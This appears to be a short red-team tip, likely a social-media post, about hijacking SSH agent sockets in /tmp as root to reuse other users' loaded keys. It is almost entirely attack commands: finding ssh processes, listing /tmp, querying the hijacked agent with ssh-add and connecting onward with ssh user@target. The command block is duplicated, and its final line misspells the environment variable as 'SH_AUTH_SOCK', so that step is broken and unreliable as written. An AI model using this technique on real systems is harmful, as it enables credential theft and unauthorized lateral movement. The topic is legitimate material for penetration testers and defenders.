Red Teamers: SSH caches keys of ongoing sessions in /tmp; root user can hijack them and SSH to any machine the user can access.
ps aux | grep ssh
ls -lah /tmp
SSH_AUTH_SOCK=/tmp/ssh-<..>/agent.<pid> ssh-add -l
SH_AUTH_SOCK=/tmp/ssh-<..>/agent.<pid> ssh user@target
ps aux | grep ssh
ls -lah /tmp
SSH_AUTH_SOCK=/tmp/ssh-<..>/agent.<pid> ssh-add -l
SH_AUTH_SOCK=/tmp/ssh-<..>/agent.<pid> ssh user@target